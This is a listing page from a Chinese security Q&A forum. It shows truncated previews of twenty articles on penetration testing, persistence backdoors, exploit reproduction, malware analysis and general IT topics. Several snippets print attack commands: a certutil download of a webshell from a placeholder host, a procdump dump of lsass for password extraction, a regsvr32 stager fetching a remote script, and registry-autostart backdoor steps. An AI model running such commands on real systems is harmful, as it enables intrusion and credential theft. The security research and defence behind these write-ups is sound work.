问答中心

1,363个问题在此版块

1. 应急响应之Windows权限维持--后门篇

   应急响应之Windows权限维持--后门篇 在获取服务器权限后，通常会用一些后门技术来维持服务器权限，服务器一旦被植入后门，攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析，知己知彼方能杜绝后门。 1、 注册表自启动通过修改注册表自启动键值，添加一个木马程序路径，实现开机自启动。 常用的注册表启动键： # Run键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Winlogon\Userinit键 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 类似的还有很多,关键词：注册表启动键值。使用以下命令可以一键实现无文件注册表后门： reg add HKLM\SOFTWAR…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
2. XAMPP任意命令执行提升权限漏洞

   XAMPP任意命令执行提升权限漏洞 0x00简介XAMPP是一个建站集成软件包，一个易于安装且包含 MySQL、PHP 和 Perl 的 Apache 发行版。类似与WampServer，phpstudy，他可以运行在Wndows、Linux、Mac OS等多种操作。XAMPP 的确非常容易安装和使用：只需下载，解压缩，启动，方便渗透测试人员搭建各种web环境。 0x01漏洞概述 在Windows上的XAMPP 7.2.29之前，7.3.16之前的7.3.x和7.4.4之前的7.4.x中发现了一个问题。非特权用户可以在xampp-contol.ini中为所有用户（包括管理员）更改.exe配置，当恶意用户修改配置后，管理员通过xampp查看日志时，将会执行恶意用户创建的代码。 0x02影响版本Apache Friends XAMPP <7.2.29 Apache Friends XAMPP 7.3.，<7.3.16 Apache Friends XAMPP 7.4.，<7.4.4 0x03环境搭建环境：windows7+XAMPP7.2.25版本 下载地址：链接：https://pan.baidu.com/s/1l5fSiy4ui…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
3. 彻底卸载McAfee和Agent的详细步骤

   彻底卸载McAfee和Agent的详细步骤 1、控制面板中-添加或删除程序中-删除"McAfee VirusScan Enterprise"和"McAfee AntiSpyware Enterprise Module" 2、控制面板中-管理工具-服务-停止MCAFEE FRAMEWORK MANAGER服务 3、开始中—运行—输入cmd—输入"C:\Program Files\McAfee\Common Framework\frminst.exe" /forceuninstall (注意包含引号，以上路径是默认的安装路径) 用过McAfee的都知道 VSE，其中少部分人还知道 MDF，更少的一些人知道 HIP，但要说起 CMA，除了一些 ePO 用户几乎没人了解它，或者是误以为它是一个与普通桌面用户无关的 ePO 管理组件，但真实的情况却与我们的无知造成了强烈的对比：尽管几乎没有几个用户知道何为 CMA，但他们的电脑上都安装着 CMA，而在日常使用过程中更是离不开 CMA。 什么是 CMA 呢?了解 VSE 的朋友们可能都知道，在 McAfee 安装目录下，有一个“Common Framework”文件夹，很多人说这是 McAfee 企业版系列安…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
4. 一次渗透测试帮自己打通渗透测试流程：getshell，内存提取密码，内网渗透

   一次渗透测试帮自己打通渗透测试流程：getshell，内存提取密码，内网渗透 思路：文章任然比较基础，先梳理一下思路，避免浪费大佬们的时间。 通过shiro框架漏洞拿到webshell——上传相关工具procdump.exe读取内存并导出为dmp文件——使用mimikatz进行密码破解——用frp进行反向代理——使用破解的账户密码登录服务器。 测试过程：通过shiro工具进行测试：关于shiro和工具参考：https://www.cnblogs.com/xiaozi/p/13239046.html 获取webshell,有些时候如果获取不到可以通过远程下载的办法下载shell:certutil -urlcache -split -f http://vps/evil.txt test.jsp 上传procdump.exe 下载地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump 执行命令：procdump64.exe -accepteula -ma lsass.exe 说明：lsass.exe是windows系统的一个重要进程，里面存着（登录过的）系统账户和密码 …

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
5. 远离病毒 八项基本原则

   远离病毒 八项基本原则 1. 建立良好的安全习惯 　例如：对一些来历不明的邮件及附件不要打开，不要上一些不太了解的网站、不要执行从 Internet 后未经处理的软件等，这些必要的习惯会使您的计算机更安全。 2. 关闭或删除中不需要的服务 默认情况下，许多操作系统会安装一些辅助服务，如 FTP 客户端、Telnet 和 Web 服务器。这些服务为攻击者提供了方便，而又对用户没有太大用处，如果删除它们，就能大大减少被攻击的可能性。 3. 经常升级安全补丁 据统计，有80%的网络病毒是通过进行传播的，象蠕虫王、冲击波、震荡波等，所以我们应该定期到微软网站去下载最新的安全补丁，以防范未然。 　　 4. 使用复杂的密码 有许多网络病毒就是通过猜测简单密码的方式攻击系统的，因此使用复杂的密码，将会大大提高计算机的安全系数。 5. 迅速隔离受感染的计算机 　当您的计算机发现病毒或异常时应立刻断网，以防止计算机受到更多的感染，或者成为传播源，再次感染其它计算机。 6. 了解一些病毒知识 这样就可以及时发现新病毒并采取相应措施，在关键时刻使自己的计算机免受病毒破坏。如果能了解一些注册表知识，就可以定期看一看注册表的自启动项是否有可疑键值；如果了解一些内存知识…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
6. Windows sql语句正则匹配导出数据到本地 The MySQL serve

   Windows sql语句正则匹配导出数据到本地 The MySQL serve 尝试使用 into outfile导出数据的时候出现错误： The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 方法一：查看本地允许导出目录 mysql>SHOW VARIABLES LIKE "secure_file_priv"; C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ mysql> select * from tncl where tncl_id regexp'^0065' into outfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\test123.csv'; 方法二：自定义修改导出目录 问题是mysql设置的权限，可以使用 show variables like '%secure%';查看 secure-file-priv 当前的值是什么 http://img.blo…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
7. Cow注入器-滥用COW机制进行全局hook与注入

   Cow注入器-滥用COW机制进行全局hook与注入 1 启动时无驱动程序运行 2 没有线程创建时注入作弊游戏 3. 当我们完成注入时，内存中没有私有标志 它将最小化内部检测的检测向量 0x1 背景关于COW: 系统中存在一个叫做cow的机制 国外大神@can1357的perfect injecter帖子说的很清楚了: CoW是操作系统用来节省内存的一种技术，它使进程共享某些物理内存区域，直到它们真正被编辑。 我们知道这一点ntdll.dll为每个进程加载，并且它的代码（.text）区域很少被修改（如果有的话），那么为什么要为它一次又一次地为数百个进程分配物理内存呢？这正是现代操作系统使用CoW技术的原因。 实现非常简单： 当一个PE文件被映射时，如果它也被映射到其他进程，并且它的VA在当前进程上也是空闲的，那么只需复制PFN并将标志设置为只读。 当由于指令试图在页上写入而发生页错误时，请分配新的物理内存，设置PTE的PFN并删除只读标志。 综上所述：当我们更改了cow标志时，物理内存将比更改应用于全局，直到重新启动系统 关于反作弊如何阻止dll： 大多数反游戏（除了EAC）使用minifilter来过滤游戏加载文件。当一个PE文件被游戏访问时，…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
8. Git 安装和使用教程

   Git 安装和使用教程 git 提交 悉数文件git add . git add xx指令能够将xx文件增加到暂存区，假设有许多改动能够经过 git add -A .来一次增加一切改动的文件。留意 -A 选项后边还有一个句点。 git add -A表明增加一切内容， git add . 表明增加新文件和修正过的文件不包括删去的文件; git add -u 表明增加修正或许删去的文件，不包括新增加的文件 git commit -m "提交注释" git push origin 分支称号，一般运用：git push origin master 正常来说这三部就够了 Git介绍分布式：Git版别操控体系是一个分布式的体系，是用来保存工程源代码历史状况的指令行东西。 保存点：Git的保存点能够追寻源码中的文件, 并能得到某一个时刻点上的整个工程项目的状况；能够在该保存点将多人提交的源码兼并, 也能够回退到某一个保存点上。 Git离线操作性：Git能够离线进行代码提交，因而它称得上是完全的分布式处理，Git一切的操作不需求在线进行；这意味着Git的速度要比SVN等东西快得多，由于SVN等东西需求在线时才干操作，假设网络环境不好， 提交代码会变…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
9. 针对小白的一个sql注入教程(联合查询，盲注等等)

   针对小白的一个sql注入教程(联合查询，盲注等等) SQL句子根底:留意在mysql里每句句子完毕一定要加分号; 1.查询句子：1 select database(); #查询当时运用的数据库 2 select user(); #查询当时用户 3 select now(); #查询当时时间 4 select version(); #查询数据库版本 5 show databases; #查询一切数据库 6 show tables; #查询当时数据库下的一切表 2.树立表库:1 create database name; #树立数据库name为你要树立的库的姓名 2 drop database name; #删去数据库 name为你要删去的数据库名 3 create table name (id int,username varchar(30),password varchar(40)); #树立…

   询问由 HACK1949，2022年11月4日

   0 票
   0 个答案
10. 网络安全基础问答25例，白帽黑客和安全研究员必备！

    网络安全基础问答25例，白帽黑客和安全研究员必备！ 1）什么是白帽黑客？ 白帽黑客是指当某个人被答应在企业产品一切者答应的情况下进犯体系，以便在体系中发现缺点，然后修正bug。 2）IP地址和Mac地址有什么区别？ IP地址：分配每个设备的IP地址，使设备位于网络上。 MAC（机器拜访操控）地址：MAC地址是分配给每个设备上每个网络接口的仅有序列号。 3）列出白帽黑客常常运用的一些东西？ Kali Meta Sploit Wire Shark NMAP John The Ripper Maltego 4）黑客的类型？ 黑客的类型是： 灰帽子黑客或Cyberwarrior 黑帽子黑客 白帽子黑客 认证的白帽黑客 红帽子黑客 骇客 5）什么是白帽黑客的踩点（footprinting）？用于踩点的技能是什么？ 踩点是指在拜访任何网络之前累积和发现与方针网络有关的信息，黑客侵略之前采用的方法。 开源踩点：它将寻觅用于在社会工程中猜测办理员暗码等联络信息 网络枚举：黑客尝试辨认方针网络的域名和网络块 扫描：一旦网络被知道，第二步是在网络上监视活动的IP地址。 协议栈指纹（Stack Fingerprinting）：一旦经过扫描网络映射了主机和端口，就能够履…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
11. 安全分析 | 两个VMware Workstation中的TOCTOU漏洞

    安全分析 | 两个VMware Workstation中的TOCTOU漏洞 写在前面的话就在前两天，VMware发布了一份安全布告，并修正了VMware ESXi、Workstation、Fusion和NSX-T中的六个安全缝隙。其中有两个缝隙归于TOCTOU（Time-of-check Time-of-use）竞赛条件缝隙，既然现在缝隙已被修正，那咱们就一起来看一看这两个TOCTOU缝隙的详细信息以及其对VMware体系的影响吧！ 缝隙剖析VMware Workstation运用了一个修正版的PhoenixBIOS 4.0 Release 6来完成其旧版别BIOS的模仿功用。在咱们对BIOS.440.ROM镜像剖析进程中，咱们发现其中一处修正将导致VMware软件中存在后门。这种场景下的“后门”其实并没有什么歹意性，与传统意义上的后门相反，这个“后门”指的是一个合法的数据通道，虚拟客户机能够经过它与管理程序进行通信。在这种状况下，后门是经过模仿的I/O端口完成的，而用户能够经过履行以下指令并运用后门来发送消息： BIOS_F:358B backdoor proc near BIOS_F:358…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
12. 对一次宅男网站的渗透

    对一次宅男网站的渗透 0x00 锁定目标初步尝试起因是因为云盘，因为有人在云盘群组里面发了某宅男网站链接，闲的无聊，职业病又犯了 打开网站，做了一下简单的信息收集发现是ThinkPHP V5.0.5，通过泄露信息得到网站真实IP 直接使用RCE漏洞，成功执行phpinfo 0x01 初探绕过disable_functions：准备直接执行命令，弹shell，发现函数被禁用： 看了下disable_functions禁用了以下函数： 拿到shell再说，首先在日志中先写入一句话，然后利用文件包含去包含日志执行代码，大概思路就是这样，先利用报错把一句话写入日志： 因为日志会不断刷新，因此这里需要包含日志重新写入一句话： 成功拿到shell： 经过查找资料，多次尝试以后发现可以通过PHP 7.0 < 7.3 (Unix) - ‘gc’ Disable Functions Bypass：代码脚本： <?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug:https://bugs.php.net/bug.php?id=72530 # # This e…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
13. APP抓不到包也许是NO_PROXY在作怪

    APP抓不到包也许是NO_PROXY在作怪 0x1 开始有一天交流时抛出一个问题，有没有遇到过apk在网络交互过程中，burpsuite和fiddler等抓包工具，无法抓取数据包，是否知道原因，以及如何解决？ 今天就把这坑给填了 0x2 示例1OKHttp3是一个当前主流的网络请求的开源框架，我们就用这个框架来进行说明 首先我们构建一个简单的demo package com.example.fridatest; import androidx.annotation.RequiresApi; import androidx.appcompat.app.AppCompatActivity; import android.os.Build; import android.os.Bundle; import android.os.Looper; import android.view.View; import android.widget.Toast; import java.io.IOException; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Resp…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
14. 如何使用PatchChecker来检测Windows漏洞

    如何使用PatchChecker来检测Windows漏洞 PatchCheckerPatchChecker是一款基于Web的Windows漏洞检测工具，该项目代码目前以网络服务的形式托管在https://patchchecker.com上。简而言之，PatchChecker是一个基于Flask实现的Web应用程序，它所提供的输出内容类似于Watson。但是，通过使用PatchChecker，我们将不需要在目标计算机上执行二进制文件。除此之外，该项目还提供了一个Web爬虫，它可以使用Microsoft站点上的信息自动更新PatchChecker的数据库，这样不仅可以帮助我们以最快最简单的方式找出目标Windows系统中安装（或未安装）补丁的CVE漏洞问题，而且还提供了一个更具可伸缩性和更易于使用的解决方案。当然了，其他任何的CVE漏洞信息都可以添加到数据采集器输入中，并且只要它们在https://portal.msrc.microsoft.com上存在有一个条目就可以进行CVE检查了。更重要的是，我们也可以使用PatchChecker提供的信息来更新Watson。 如何使用PatchChecker来检测Windows漏洞在PatchChecker的…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
15. IoTMap：一款支持多协议的物联网网络模型构建工具

    IoTMap：一款支持多协议的物联网网络模型构建工具 IoTMapIoTMap是一款支持多协议的物联网网络模型构建工具，该工具可以同时使用一个或多个协议来对物联网IoT网络进行模型构建。该项目目前仍处于开发阶段，主要针对的是物联网设备安全。这个项目目前会定期更新，当前版本的IoTMap支持三个协议，即BLE、ZigBee和OS4I，并且将来还会支持更多协议。 工具要求Python 3依赖：1、Python > 3.5 2、Scapy（可以通过requirements文件进行安装，但建议使用最新版本源码进行项目构建） 3、neo4j-1.7.6 4、docopt-0.6.2 5、prompt-toolkit-3.0.5 6、terminaltables-3.1.0 7、pycryptodomex-3.9.7广大研究人员可以使用下列命令和requirements.txt文件来安装依赖包： pip3 install -r requirements.txtOS库除了上述依赖组件之外，我们还需要安装libgcrypt20-dev（用于网络嗅探），这里可以使用下列命令，具体取决于你所使用的操作系统： sudo apt-get install…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
16. 内网渗透 day15-empire提权和后门植入

    内网渗透 day15-empire提权和后门植入 empire(usestager用法、提权、耐久化后门）本章条件：已成功设置监听器(如何设置监听器请看day14篇) 1. usestager的几种用法windows/launcher_sct: 介绍:Regsv(r)32指令用于注册COM组件，是Windows体系供给的用来向体系注册控件或许卸载控件的指令，以指令行方法运转。WinXP及以上体系的regsv(r)32.exe在windows\system32文件夹下；2000体系的regsv(r)32.exe在winnt\system32文件夹下。 用法:regsv(r)32 [/u] [/s] [/n] [/i[:cmdline]] dllname 1) usestager windows/launcher_sct 进入windows/launcher_sct模块 2) 设置一下参数 set Listener kaliset OutFile /var/www/html/xx.sct3) execute 履行 4) 在靶机上运转 regsv(r)32 /u /n /s /i:http://192.168.227.129/xx.sc…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
17. Muhstik僵尸网络木马来袭，挖矿、攻击两不误

    Muhstik僵尸网络木马来袭，挖矿、攻击两不误 背景概述近日，深信服安全团队捕获到一款Muhstik僵尸网络木马，多个国内的服务器被爆破登录，在主机执行恶意代码以下载Muhstik僵尸木马和挖矿病毒，从而利用服务器进行挖矿，以及进行DDos攻击。 情报分析攻击者主要会在爆破登录成功后用wget下载shell脚本 VirusMD51sh861c40811b98780ce8eba0c572dfaa9b2shbfc90665de5c74c45488226a8999630b3shca6d74719f063b9c79cb4d81d72993921sh:主要下载pty1,pty2,pty5,pty11到/var/run目录下，更改文件的权限。 首先是进行 chmod + x 提供可执行功能 ，再进行 chmod 700让其他人没有更改文件的权限。同样，将pty3,pty10,pty4放到当前的目录下，pty3在/var/run和/var/tmp目录下，执行完这些操作之后删除自身的文件1sh。 2sh: 主要下载pty1,pty2,pty11,pty10,pty4,pty5到/tmp目录下，更改文件的权限。 首先是进行 chmod + x 提供可执行功能…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
18. Decoder++：一款专用于渗透的多数据格式编码解码工具

    Decoder++：一款专用于渗透的多数据格式编码解码工具 Decoder++Decoder++是一款专用于渗透测试的多数据格式编码解码工具，该工具是一款可扩展的工具，专为渗透测试人员和软件开发人员设计，可以将目标数据编码/解码为各种不同的数据格式。 功能介绍 用户接口：图形化用户接口和命令行接口； 预安装脚本和编码解码器： 支持的编码/解码格式：Base16、Base32、Base64、Binary、Gzip、Hex、Html、JWT、 HTTP64、Octal、Url、Url+、Zlib； 哈希：Adler-32、Apache-Md5、CRC32、FreeBSD-NT、Keccak224、Keccak256、Keccak384、 Keccak512、LM、Md2、Md4、Md5、NT、PHPass、RipeMd160、Sha1、Sha3 224、Sha3 256、Sha3 384、Sha3 512、Sha224、Sha256、Sha348、Sha512、Sun Md5 脚本：CSS-Minify、Caesar、Filter-Lines、Identify File …

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
19. 手把手教你分析APT：蔓灵花下载器样本分析

    手把手教你分析APT：蔓灵花下载器样本分析 初始载荷信息进犯的初始载荷是一个文件名为双后缀名的文件“开证装期邮件.pdf.exe”，这是一种常见的文件假装办法，运用Windows的扩展名显现设置（“躲藏已知文件类型的扩展名”）假装真实的.exe后缀，再选择高档自解压选项中自界说自解压文件图标，选择让exe文件看起来像PDF文档，诱骗用户翻开。 不过因为自解压格局的图标来历于文件，而不是体系自带的图标： 时常呈现画风不同的C位出道场面（一看便是自带剧本的）： VT查找该文件MD5能够看到有52/69的高检测率，匹配的YARA规矩名能够解释为躲藏为PDF的SFX自解压文件： SFX自解压文件，是一种压缩软件生成的exe文件，具有履行后能够解压开释文件并履行的特性，一般被病毒文件用来绑缚掩饰文档或其他白文件进行假装。可将文件后缀改为rar，运用压缩软件翻开，检查其间的文件和相关代码和解压，或许在文件特点的注释中也能够看到。如本文中的样本运转后会在“C:\intel\logs”途径下开释“dlhost.exe”并履行： 直接双击运转exe使初始载荷在指定途径下开释文件也行，多一个步骤要找一下文件。一般来说解压比较便利，可是有些样本会检测是否在设…

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案
20. 漏洞复现：TP-Link SR20 本地网络远程代码执行漏洞

    漏洞复现：TP-Link SR20 本地网络远程代码执行漏洞 TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器，此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令，该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中，TDDP 是 TP-Link 申请了专利的调试协议，基于 UDP 运行在 1040 端口。 TP-Link SR20 设备运行了 V1 版本的 TDDP 协议，V1 版本无需认证，只需往 SR20 设备的 UDP 1040 端口发送数据，且数据的第二字节为 0x31 时，SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行，这就导致存在远程代码执行漏洞。 01搭建环境以下所有操作都在Ubuntu LTS 18.04系统下进行 安装编译QEMUQemu 是纯以GPL许可证分发源码的模拟处理器，在GNU/Linux平台上使用广泛。几乎可以模拟任何硬件设备。 从 QEMU 官网下载最新稳定版源码来编译安装 …

    询问由 HACK1949，2022年11月4日

    0 票
    0 个答案